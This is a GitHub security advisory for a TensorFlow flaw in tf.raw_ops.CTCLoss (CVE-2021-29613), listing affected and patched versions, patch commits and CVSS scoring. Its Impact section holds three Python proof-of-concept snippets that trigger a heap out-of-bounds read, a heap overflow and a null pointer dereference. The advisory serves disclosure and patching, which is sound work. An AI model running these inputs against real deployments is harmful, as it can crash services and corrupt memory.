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Incomplete validation in `tf.raw_ops.CTCLoss`

Moderate severity GitHub Reviewed Published May 13, 2021 in tensorflow/tensorflow • Updated Jan 29, 2023

Package

pip tensorflow (pip)

Affected versions

< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2

Patched versions

2.1.4
2.2.3
2.3.3
2.4.2
pip tensorflow-cpu (pip)
< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2
2.1.4
2.2.3
2.3.3
2.4.2
pip tensorflow-gpu (pip)
< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2
2.1.4
2.2.3
2.3.3
2.4.2

Description

Impact

Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:

import tensorflow as tf

inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)
  
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=True, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=True)

An attacker can also trigger a heap buffer overflow:

import tensorflow as tf

inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=False)

Finally, an attacker can trigger a null pointer dereference:

import tensorflow as tf

inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=False)

Patches

We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References

@mihaimaruseac mihaimaruseac published to tensorflow/tensorflow May 13, 2021
Published by the National Vulnerability Database May 14, 2021
Reviewed May 17, 2021
Published to the GitHub Advisory Database May 21, 2021
Last updated Jan 29, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

EPSS score

0.092%
(41st percentile)

CVE ID

CVE-2021-29613

GHSA ID

GHSA-vvg4-vgrv-xfr7

Source code

No known source code
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